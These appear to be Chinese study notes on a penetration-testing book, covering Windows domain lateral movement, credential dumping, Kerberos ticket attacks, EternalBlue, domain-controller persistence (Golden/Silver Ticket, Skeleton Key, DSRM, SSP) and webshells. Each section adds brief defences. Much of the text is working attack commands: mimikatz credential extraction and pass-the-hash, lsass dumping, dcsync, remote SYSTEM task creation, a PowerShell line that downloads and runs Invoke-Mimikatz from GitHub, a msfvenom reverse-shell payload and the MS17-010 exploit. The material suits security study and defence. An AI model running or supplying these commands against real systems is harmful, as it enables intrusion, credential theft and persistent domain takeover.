第5章 域内横向移动分析及防御
域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(Advanced Persistent Threats, APT)中。
攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
1)常用Windows远程连接和相关命令
■ 在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH(Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。
防御手段:可以通过配置Windows系统自带的防火墙或组策略进行防御。
IPC
概念:IPC(Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。
IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和査看计算机的共享资源时使用。
建立IPC:
1 | net use \\192.168.1.1\ipc$ "Aa123456" /user:administrator |
查看当前连接:
1 | net use |
ipc$
利用条件:
(1)开启了139、445端口
(2)管理员开启了默认共享
连接失败时常见错误号:
- 错误号5:拒绝访问。
- 错误号51:Windows无法找到网络路径,即网络中存在问题。
- 错误号1326:未知的用户名或错误的密码。
IPC进一步利用
可以使用IPC在目标机器执行命令:
1 | # 列出目标机器C盘的文件 |
查看目标机器进程列表:
1 | tasklist /S 192.168.1.1 /U administrator /P <密码> |
计划任务
at命令
at命令Windows自带的用于创建计划任务的命令,主要用于Windows 2008之前的版本。
主要使用流程:
查看目标主机时间
1
net time \\192.168.1.4
复制文件到目标系统:
1
copy calc.bat \\192.168.1.4\C$
使用at创建计划任务(2008之前,net use)
1
at \\192.168.1.4 4:11PM C:\calc.bat
清除at记录
1
at \\192.168.1.4 1 /delete
schtasks命令(常用)
用于Vista和2008之后的Windows系统。
创建计划任务在开机时启动,启动程序为C盘下的calc.bat
,启动权限为System:
1 | schtasks /create /s 192.168.100.192 /tn test /sc onstart /tr c:\calc.bat /ru system /u administrator /p Aa123456 /f |
- 在ip为192.168.100.192的远程系统中(/s)
- 创建一个名为test(/tn)的计划任务
- 开机时启动(/sc)
- 运行的程序为(/tr)C盘中的calc.bat
- 运行权限(/ru)为system
- 如果已经存在同名的任务则强制创建(/f)
运行计划任务test:
1 | schtasks /run /s 192.168.1.1 /i /tn "test" |
删除该计划任务:
1 | schtasks /delete /s 192.168.1.1 /tn "test" /f |
删除ipc:
1 | net use \\192.168.1.1\ipc$ /del /y |
2)Windows系统散列值获取分析及防范
Windows操作系统中的密码一般由两部分组成,一部分为LM Hash, 另一部分为NTLM Hash。
在Windows操作系统中,Hash的结构通常如下:
1 | username:RID:LM-HASH:NT-HASH |
从Windows Vista和Windows Server 2008版本开始,操作系统默认禁用LM Hash
LM Hash明文密码被限定在14位以内,基于DES加密(密码长度大于14位会默认禁用LM Hash)
NTLM Hash基于MD4加密算法进行加密的
单机密码抓取与防范
在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System:
- 本地用户名、散列值和其他安全验证信息都保存在SAM文件中。
- 路径位于 C:\Windows\System32\config,处于被锁定的状态,不允许复制。
lsass.exe
进程用于实现安全策略 可以利用工具将散列值或明文密码从内存中的isass进程或SAM文件导出.- SAM文件可以在关闭Windows系统后,通过PE盘进入文件管理环境复制,或用VSS等方法直接复制。
抓取密码的常用工具:
- GetPass
- PwDump7
- QuarksPwDump
通过SAM文件和System文件抓取密码
mimikatz:是一款轻量级系统调试工具,可以从内存中提取明文密码、散列值、PIN和Kerberos票据。
- 使用管理员权限导出SAM文件:
1 | reg save hklm\sam sam.hive |
再将文件移动到mimikatz所在目录,使用mimikatz读取SAM文件和system文件获取NTLM Hash:
1 | lsadump::sam /sam:sam.hive /system:system.hive |
- 也可以使用mimikatz直接读取本地SAM文件(需要上传到目标机器,考虑程序的免杀特性)
1 | privilege::debug #(提升权限) |
mimikatz在线读取SAM
即不下载SAM文件,直接从内存读取散列值和明文密码:
1 | mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" |
mimikatz离线读取lsass.dmp文件
需要先导出lsass.dmp,可以使用任务管理器(找到lsass.exe右键直接选创建dump文件)或者Procdump工具:
1 | Procdump64.exe -accepteula -ma lsass.exe lsass3.dmp |
再使用mimikatz导出lsass.dmp文件中的密码散列值,打开mimikatz执行:
1 | sekurlsa::minidump lsass.dmp # 加载文件 |
使用PowerShell对散列值进行Dump操作
Nishang的Get-PassHashes.ps1脚本可用于导出散列值:
1 | Import-Module .\Get-PassHashes.ps1 |
也可以远程加载mimikatz抓取散列值和密码:
1 | powershell IEX (New-Object Net.WebClient).Downloadstring('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'):Invoke-Mimikatz |
防范措施
■ Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。
■ 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
■ 使用regadd命令或Powershell关闭Wdigest Auth
使用Hashcat获取密码
Hashcat系列软件包括Hashcat、oclHashcat,还有一个单独的版本oclRausscrack。它们的区别为:
Hashcat只支持CPU破解;
oclHashcat和oclGausscrack支持GPU加速破解。
Hashcat常用参数:
-b:测试使用当前机器进行破解的基准速度(虚拟机需要1个CPU,1个核心,否则报错)
-m:指定散列值的类型
- -a:number指定破解模式
使用字典模式破解:
1 | hashcat -a 0 -m xx <hashfile> <zidianl> <zidian2> |
■ -a 0:以字典模式破解。
■ -m xx:指定<hashfile>内的散列值类型。
■ <hashfile>:将多个散列值存入文本,等待破解。
■ <zidian1> <zidian2>:指定字典文件。
以1到8为指定数字破解:
1 | hashcat -a 3 --increment --increment-min 1 --increment-max 8 ?d?d?d?d?d?d?d?d -O |
破解Windows散列值:
1 | hashcat -m 1000 -a 0 -o winpassok.txt win.hash password.1st --username |
破解WiFi握手包:
1 | # 抓包 |
防范
- WindowsServer2012R2新增了一个名为“受保护的用户(Protected Users)”的用户组。只要将需要保护的用户放入该组,攻击者就无法使用mimikatz等工具抓取明文密码和散列值了。
- 通过修改注册表禁止在内存中存储明文密码。
- 将用于Debug权限的本地管理员从Administrators组中删除。防止mimikatz攻击。
- 安装系统补丁
3)哈希传递攻击分析与防范
哈希传递(Pass The Hash)攻击:通过找到与账户相关的密码散列值(通常是NTLM Hash)来进行攻击。
原理:域账号与本地账号的账号密码往往相同,方便获取账号对应的密码散列值;
特点:攻击者不需要花时间破解密码散列值,而是直接使用散列值登录其他系统,进而获得密码明文。
缺点:必须获取本地管理员权限。
注:散列值的概念
当用户设置密码时,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)。
散列加密算法一般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。
使用NTLM Hash进行哈希传递
使用mimikatz:
1 | mimikatz "privilege::debug" "sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:<散列值>" |
此时可以登录目标域名的域控主机。
使用AES-256密钥进行哈希传递
先抓取AES-256密钥:
1 | mimikatz "privilege::debug" "sekurlsa::ekeys" |
再用aes-256实现Hash传递攻击:
1 | mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:shiyan.test001 /aes256:2781fl42dxxxx |
4)票据传递攻击分析与防范
票据传递(Pass the Ticket, PTT):基于kerberos协议,不需要本地管理员权限进行横向提权的方式。
票据与哈希的区别:哈希是存储在本地的密码文件,票据是用户发起域内主机登录请求后,密钥管理服务器KDC发送给用户主机的凭证文件,在服务器也有一份对应的凭证,以此实现用户认证(即Kerberos协议的实现方式)。
优点:哈希传递需要本地管理员权限,而票据传递不需要
流程:
- 导出票据
- 清空内存中当前的票据
- 将票据注入内存
使用mimikatz进行票据传递
将内存中的票据导出:
1 | mimikatz "privilege::debug" "sekurlsa::tickets /export" |
清除内存中的票据:
1 | kerberos::purge |
将票据注入内存:
1 | mimikatz "kerberos::ptt <票据文件名>" |
使用kekeo进行票据传递
kekeo不通过导出得到票据文件,而是通过用户名,域名,散列值生成一个。
在目标机器运行kekeo,生成票据文件:
1 | kekeo "tgt::ask /user:administrator /domain:pentest.com /ntlm:D9F9553F143473F54939F5E7E2676128" |
参数:”tgt::ask /user:<用户名> /domain:<域名> /ntlm:<散列值>”
之后步骤与上面的相同:
清除当前内存中的其他票据:
1 | # 使用kekeo中运行命令 |
将票据文件导入内存:
1 | kerberos::ptt <kirbi票据文件> |
防范
- 使用短生命周期票据
- 使用双向验证
- 定期更新票据处理逻辑
5)PsExec和WMI的使用
Psexec
PsExec是PsTools工具包中用于批量Windows主机运维的工具,可以通过命令行与目标主机连接,且是微软官方工具,不容易被杀毒软件检测到。
通过PsExec,可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序。
PsExec的基本原理是:
- 通过管道在远程目标机器上创建一个psexec服务
- 在本地磁盘中生成一个名为“PSEXESVC”的二进制文件
- 通过psexec服务运行命令,运行结束后删除服务。
使用:
首先需要建立IPC$:
1 | net use \\192.168.1.1\ipc$ "Aa2012admin" /user:administrator |
然后获取System权限的Shell:
1 | PsExec.exe -accepteula \\192.168.1.1 -s cmd.exe |
■ -accepteula:第一次运行PsExec会弹出确认框,使用该参数就不会弹出确认框。
■ -s:以System权限运行远程进程,获得一个System权限的交互式 Shell。如果不使用该参数,会获得一个Administrator权限的Shell。
缺点:使用PsExec会产生大量日志,容易被溯源。
msf中也有psexec模块(exploit/windows/smb/psexec
),可用于自动提取获取System权限的shell。
WMI
WMI的全名为“Windows Management Instrumentation”。
WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。
优势:在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。
使用:
1 | wmic /node:192.168.1.1 /user:administrator /password:Aa2012admin process call create "cmd.exe /c ipconfig > c:\ip.txt" |
此时会在目标系统的cmd.exe执行一条命令,将执行结果保存在C盘的ip.txt文件中,建立ipc$连接后可以用type
命令读取执行结果。
6)永恒之蓝漏洞分析与防范
利用SMB协议开放的445端口实现任意命令执行。
利用msf扫描:
1 | use auxiliary/scanner/smb/smb_ms17_010 |
攻击利用:
1 | use exploit/windows/smb/ms17_010 |
防范手段
- 禁用SMB1协议,适用于Windows Vista及更高版本的操作系统
- 打开WindowsUpdate,或者手动安装KB2919355。
- 使用防火墙阻止445端口的连接,或者使用进/岀站规则阻止445端口的连接。
- 不要随意打开陌生的文件。
- 安装杀毒软件,及时进行更新病毒库。
7)smbexec, DCOM和SPN的使用
smbexec
smbexec可以通过文件共享(admin$, c$, ipc$, d$…)在远程系统中执行命令。
可以实现Linux跨Windows远程执行命令。
DCOM在远程系统中的使用
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。
通过DCOM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。
DCOM是基于组件对象模型(COM)的。
COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)。
SPN在域环境中的应用
SPN:微软给域内的每种资源分配不同的SPN(ServicePrincipalName),即服务主体名称。
SPN是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。
在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、LocalSystem)或者用户账号下为服务器注册SPN。
对于内置账号,SPN将自动进行注册。但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。
Kerberos验证
根据Kerberos协议,当用户输入自己的账号和密码,登录活动目录(AD)时,域控制器会对账号和密码进行验证。
验证通过后,密钥分发中心**(KDC)**会将服务授权的票据(**TGT)**发送给用户(作为用户访问资源时的身份凭据)。
验证过程举例:
- 当用户需要访问MSSQL服务时,系统会以当前用户身份向域控制器查询SPN为“MSSQL”的记录。
- 找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC
- KDC中的身份验证服务*(AS)*对TGT进行解密
- 确认无误后,由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的服务的地址发送给用户。
- 用户使用该票据即可访问MSSQL服务。
SPN有两种类型:
- 注册在AD的机器账户(Computers)下
- 注册在AD的域用户账户(Users)下
常用SPN命令
命令格式:
1 | SPN = serviceclass "/" hostname [":"port] servicename] |
参数:
- serviceclass:服务组件的名称。标识服务类的字符串,必须
- hostname:计算机的FQDN(全限定域名,同时带有计算机名和域名)。必须
- port:该服务监听的端口号。可选
- servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名。可选
注册SPN
1 | setspn -A <服务组件名称>/<主机名>.<域名>:<端口> |
例如:
1 | setspn -A MSSQLSvc/computer1.pentest.com:1433 |
- -S:将-A改为-S可以验证是否有重复的spn,跟上面的区别就是,-S可以验证是否有重复的SPN,如果有就禁止注册。因为如果有重复的SPN会导致kerberos认证的时候失败。(需要管理员权限)
- -D:删除SPN
查询SPN
1 | # 当前域所有spn: |
所有域内的用户都有权限查询SPN
SPN扫描
在活动目录中发现服务的最佳方法就是SPN扫描:
痕迹残留少:SPN扫描不需要通过连接网络中的每个IP地址来检査服务端口,不会因触发内网中的IPS、IDS等设备的规则而产生大量的警告日志”
使用简单:因为每个重要的服务在域中都有对应的SPN,所以,攻击者不必使用复杂的端口扫描技术,只要利用SPN扫描技术就能找到大部分的应用服务器。
权限要求低:因为SPN是通过LDAP协议向域控制器进行查询的,所以,攻击者只要获得一个普通的域用户权限,就可以进行SPN扫描。
LDAP(LightweightDirectory Access Protocol),中文名为轻量目录访问协议。是一种用来查询与更新 AD 的目录服务通信协议。AD 域服务利用 LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便用它来访问 AD 内的对象。
可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。
使用powershell脚本扫描:
1 | # 利用SPN发现域中所有的MSSQL服务 |
Kerberoast攻击分析与防范
Kerberoast是一种针对Kerberos协议的攻击方式。
在因为需要使用某个特定资源而向TGS发送 Kerberos 服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。
当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。该票据使用与SPN相关联的计算机服务账号的NTLM Hash(RC4_HMAC_MD5)。
也就是说,攻击者会通过 Kerberoast 工具尝试使用不同的 NTLM Hash 来打开该Kerberos票据。
如果攻击者使用的NTLM Hash是正确的,Kerberos票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码。
在域环境中,攻击者会通过Kerberoast使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。
防范
- 保证服务账号密码的长度超过25位;
- 确保密码的随机性;
- 定期修改服务账号的密码。
- 保证默认的AES256_HMAC加密方式不能改为RC4_HMAC_MD5
- 强制使用AES256_HMAC方式对Kerberos票据进行加密
第六章 域控制器安全
使用卷影拷贝服务提取ntds.dit
活动目录中的所有数据(例如用户密码和散列值等信息)都存储在C:\Windows\NTDS\ntds.dit(%SystemRoot%\ntds\ntds.dit)这个文件中。
被系统锁定,即使拥有管理员权限也无法读取这个二进制文件。
但使用Windows本地卷影拷贝服务(VSS),就可以获得文件的副本。
提取工具:
ntdsutil.exe:
默认安装在域控上,是微软官方为活动目录提供管理机制的工具
在域控制器的命令行环境中输入如下命令,创建一个快照。该快照包含Windows中的所有文件,且在复制文件时不会受到Windows锁定机制的限制:
1
ntdsutil snapshot "activate instance ntds" create quit quit
将快照加载到系统中。
1
ntdsutil snapshot "mount {e6b6ea6d-5c76-412e-b405-89834bfe6d7e}" quit quit
把目标文件复制出来即可:
1
copy C:\$SNAP_202105042241_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
最后把快照卸载并删除:
1
ntdsutil snapshot "unmount {e6b6ea6d-5c76-412e-b405-89834bfe6d7e}" "delete {e6b6ea6d-5c76-412e-b405-89834bfe6d7e}" quit quit
vssadmin
vssown.vbs
ntdsutil的IFM模块
diskshadow
防范方式
即监控卷影拷贝服务的使用情况:
- 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
- 监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建进程的事件。
- 监控创建diskshadow.exe及相关子进程的事件。
- 监控客户端设备中的diskshadow.exe实例创建事件。
- 通过日志监控新出现的逻辑驱动器映射事件
导出ntds.dit中的散列值
常用工具:esedbexport、impacket、NTDSDumpex.exe
利用dcsync获取域散列值
dcsync是mimikatz中的一个功能,作用是利用VSS读取ntds.dit文件以获取域散列值 。
- 需要域管理员权限。
导出用户名和散列值:
1 | lsadump::dcsync /domain:shiyan.test001 /all /csv |
导出指定用户散列值:
1 | lsadump::dcsync /domain:<域名> /user:<用户名> |
只能在域控中运行,通过转储lsass.exe进程对散列值进行Dump操作:
1 | # 先提取 |
使用Metaspolit获取域散列值
使用psexe_ntdsgrab模块
1 | use auxiliary/admin/smb/psexec_ntdsgrab |
此时将2012的ntds.dit文件和SYSTEM项复制并传送到KaliLinux机器的/root/.msf4/loot/文件夹下
利用Metasploit获取域账号和域散列值(含msf如何getShell)
首先获取Meterpreter shell:
(注意:这部分是如何使用msf在可以执行命令的机器上getshell,与Cobalt Strike类似)
1 | use exploit/multi/handler # 使用模块 |
使用msfvenom生成木马程序:
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<反弹的目的IP> LPORT=<反弹的 |
参数:
- -p 指定payload,要与metersploit中设置监听的payload完全一致
- -f指输出文件的格式
- LHOST 与LPORT一般指向攻击机的ip与监听的端口
靶机执行shell.exe木马时,会在msf上看到反弹shell的连接:
获取到Meterpreter shell之后,再获取域账号和域散列值(需要管理员权限):
1 | use post/windows/gather/credentials/domain_hashdump |
使用vshadow.exe和QuarksPwDump.exe导出域账号和域散列值
QuarksPwDump.exe可以快速安全、全面地读取全部域账号和域散列值。
Kerberos域用户提权漏洞分析与防范
如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
这个漏洞产生的原因是:用户在向Kerberos密钥分发中心( KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。
如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。
用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证TGT后,将服务票据(ServiceTicket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
防范建议
- 开启Windows Update功能,进行自动更新。
- 手动下载补丁包进行修复。
- 对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
- 在服务器上安装反病毒软件,及时更新病毒库。
第七章 跨域攻击分析及防御
域信任的作用是解决多域环境中的跨域资源共享问题。
域环境不会无条件地接收来自其他域的凭证,只会接收来自受信任的域的凭证。
常见的跨域攻击方法有:
- 常规渗透方法(例如利用Web漏洞跨域获取权限);
- 利用已知域散列值进行哈希传递攻击或票据传递攻击(例如域控制器本地管理员密码可能相同);
- 利用域信任关系进行跨域攻击。
域信任关系
单向信任
单向信任是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问流。
例:若A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。但A域内的主体无法 访问B域内的资源
双向信任
双向信任是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。
活动目录中的所有域信任关系都是双向可传递的。
子域与父域也是双向可传递信任的。
外部内部
- 内部信任:同一域树中的两个或多个域之间的信任关系
该信任关系可传递,例如有三个A域的子域:BA、CA、DA,BA域信任CA域,CA域信任DA域,则BA域也信任DA域
- 外部信任:两个不同林中的域的信任关系。
外部信任是不可传递的。 林信任关系可能是不可传递的,也可能是可传递的
防范跨域攻击
- 放置在内网中的Web应用服务器大多为内部办公使用(或者作为测试服务器使用),所以,其安全性受重视程度较低,往往会使用弱口令或者存在未及时修复的补丁。
- 攻击者在获取当前域的域控制器的权限后,会检查域控制器的本地管理员密码是否与其他域的域控制器本地管理
- 密码相同,以及在两个域之间的网络没有被隔离的情况下是否可以通过哈希传递进行横向攻击等。
- 在很多公司中,虽然为不同的部门划分了不同的域,但域管理员可能是同一批人,因此可能出现域管理员的用户名和密码相同的情况。
- 在日常网络维护中,需要养成良好的安全习惯,才能有效地防范跨域攻击。
第八章 权限维持分析及防御
后门:通过绕过安全控制措施获取对程序或系统访问权限的方法。
简单地说,后门就是一个留在目标主机上的木马软件,它可以使攻击者随时与目标主机进行连接。
在大多数情况下,后门是一个运行在目标主机上的隐藏进程:
- 因为后门可能允许一个普通的、未经授权的用户控制计算机,所以攻击者经常使用后门来控制服务器(比一般的攻击手段更具隐蔽性)。
- 攻击者在提升权限之后,往往会通过建立后门来维持对目标主机的控制权。
- 这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。
操作系统后门分析与防范
操作系统后门:绕过目标系统安全控制体系的正规用户认证过程,来维持对目标系统的控制权及隐匿控制行为的方法。
常用操作系统后门
- 粘滞键后门:通过用cmd.exe替换粘滞键可执行文件
\windows\system32\sethc.exe
,可以以System权限执行命令 - 注册表注入后门:将可执行文件写入到注册表键的启动项中,在登录时便能执行后门程序
- 计划任务后门:通过计划任务自动执行或生成后门程序
- meterpreter后门:meterpreter自带,使用安装自启动方式的持久性后门程序
- Cymothoa后门:将shellcode注入到现有进程中的后门程序
WMI后门
特定:
- 只能由由管理员权限的用户运行
- 使用powershell编写
- 可以直接从新的WMI属性中读取和执行后门代码,给代码加密
优势:无文件,无进程
原理:
- 无文件:将代码加密存储于WMI中,实现无文件
- 无进程:满足条件时,系统自动powershell进程执行后门程序,执行后进程消失,实现无进程
Web后门分析与防范
即WebShell,精心构造的网页代码实现权限维持的后门。
weevely后门
使用方法:
1 | # 生成WebShell |
将生成的.php文件上传到目标机器,并且能通过外网访问到文件,此时可以连接WebShell:
1 | weevely <目标url,以文件名结尾> <密码> |
webacoo后门
也是针对PHP平台的Web后门工具。
制作后门工具:
1 | webacoo -g -o <生成文件路径> |
如何连接webShell:
1 | webacoo -t -u <目标url> |
域控制器权限持久化分析与防范
DSRM目录恢复模式
DSRM(DirectoryServicesRestoreMode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。
每个域控制器都有一个本地管理员账户(也就是DSRM账户)。
DSRM允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。
修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。
因此可以通过DSPM实现对域环境的权限持久化。
具体步骤:
- 使用mimikatz查看krbtgt的NTLMHash
- 使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash
- 将DSRM账号和krbtgt的NTLM Hash同步
- 查看DSRM的NTLMHash是否同步成功
- 修改DSRM的登录方式:新建注册表
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
并配置为“2”:在任何情况下,都可以使用DSRM管理员账号登录域控制器。 - 使用DSRM账号通过网络远程登录域控制器
- 使用mimikatz的dcysnc功能远程转储krbtgt的NTLM Hash
此时完成哈希传递,会打开一个命令行。
防范
■ 定期检查注册表中用于控制DSRM登录方式的键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该键值为1,或者删除该键值。
■ 定期修改域中所有域控制器的DSRM账号。
■ 经常检查ID为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。
SSP维持域控权限
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。
简单地说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能。
基本原理:
LSA(Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsasS.exe进程中。
但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。
防御措施
■ 检査HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/SecurityPackages项中是否含有可疑的DLL文件。
■ 检查C:\Windows\System32\目录下是否有可疑的DLL文件。
■ 使用第三方工具检查LSA中是否有可疑的DLL文件。
SID history
每个用户都有自己的SID。
SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
SIDHistory是在域迁移过程中需要使用的一个属性,用于在域迁移过程中保持域用户的访问权限。
利用需要有域管理员权限。
使用mimikatz:
1 | privilege::debug |
防范措施
■ 经常査看域用户中SID为500的用户。
■ 完成域迁移工作后,对有相同SIDHistoiy属性的用户进行检查。
■ 定期检査ID为4765和4766的日志。4765为将SIDHistory属性添加到用户的日志。4766为将SIDHistory属性添加到用户失败的日志。
Golden Ticket(重要)
在安全运维过程中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控机器进行断网处理,然后进行日志分析及取证。
然而,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将krbtgt账号重置,攻击者就能快速重新拿回域控制器权限。
krbtgt是KDC服务使用的账号,属于Domain Admins组。
在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NTLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。
攻击流程
- 导出krbtgt的NTLM Hash
- 获取域SID:
wmic useraccount get name,sid
- 获取当前用户SID:
whoami /user
- 查询管理员账号:
net group "domain admins" /domain
- 查询域名:
ipconfig /all
- 生成票据
- 清空票据
- 注入票据
注:使用krbtgt的AES-256值生成票据并将其注人内存,也可以伪造用户。之前导出的krbtgt信息中就有这个值。
防范
■ 使用GoldenTicket伪造的用户可以是任意用户,即使这个用户不存在
■ 提升域功能级别时修改krbtgt的密码
■ 用户自行进行安全检查和相关服务加固时修改krbtgt的密码
SilverTicket
与黄金票据的不同:
1.获取的权限不同:
- 金票:伪造的TGT(票据授权服务产生的票据文件),可以获取任意Kerberos的访问权限
- 银票:伪造的ST,只能访问指定的服务,如CIFS
- 认证流程不同:
- 金票:与KDC交互,但不与AS交互
- 银票:不与KDC交互,直接访问Server
- 加密方式不同:
- 金票:由krbtgt NTLM Hash 加密
- 银票:由服务账号 NTLM Hash 加密
攻击流程
使用SilverTicket伪造CIFS服务权限:
与黄金票据类似,只是在使用mimikatz生成伪造的Silver Ticket
获取服务账号NTLM Hash
- 查询域名
- 获取域SID
- 获取伪造的目标用户名
- 生成票据
- 清空票据
- 注入票据
使用SilverTicket伪造LDAP服务权限,与之类似。
防御措施
■ 在内网中安装杀毒软件,及时更新系统补丁。
■ 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用。
■ 计算机的账号和密码默认每30天更改一次。检查该设置是否生效。
Skeleton Key
使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。
攻击流程:
使用mimikatz将SkeletonKey注人域控制器的lsass.exe进程:
1 | privilege::debug |
此时,会在域内的所有账号中添加一个SkeletonKey,其密码默认为mimikatz。
然后使用域管理员账号和SkeletonKey与域控制器建立ipc$:
1 | net use \\dc08\ipc$ "mimikatz" /user:"pentest\administrator" |
防御措施
■ 域管理员用户要设置强口令,确保恶意代码不会在域控制器中执行。
■ 在所有域用户中启用双因子认证,例如智能卡认证。
■ 启动应用程序白名单(例如AppLocker),以限制mimikatz在域控制器中的运行。
Nishang下的脚本后门分析与防范
Nishang是基于PowerShell的渗透测试工具,集成了很多框架、脚本及各种Payload。
HTTP-Backdoor脚本可以帮助攻击者在目标主机上下载和执行PowerShell脚本,接收来自第三方网站的指令,在内存中执行PowerShell脚本,
■ -CheckURL:给出一个URL地址。如果该地址存在,MagicString中的值就会执行Payload,下载并运行攻击者的脚本。
■ -PayloadURL:给出需要下载的PowerShell脚本的地址。
■ -StopString:判断是否存在CheckURL返回的字符串,如果存在则停止执行。
Add-ScrnSaveBackdoor脚本可以帮助攻击者利用Windows的屏幕保护程序来安插一个隐藏的后门
■ -PayloadURL:指定需要下载的脚本的地址。
■ -Arguments:指定需要执行的函数及相关参数。
Execute-OnTime脚本用于在目标主机上指定PowerShell脚本的执行时间
■ -PayloadURL:指定下载的脚本的地址。
■ -Arguments:指定要执行的函数名。
■ -Time:设置脚本执行的时间,例如“-Time23:21”。
■ -CheckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行。
Invoke-ADSBackdoor脚本能够向ADS注入代码并以普通用户权限运行。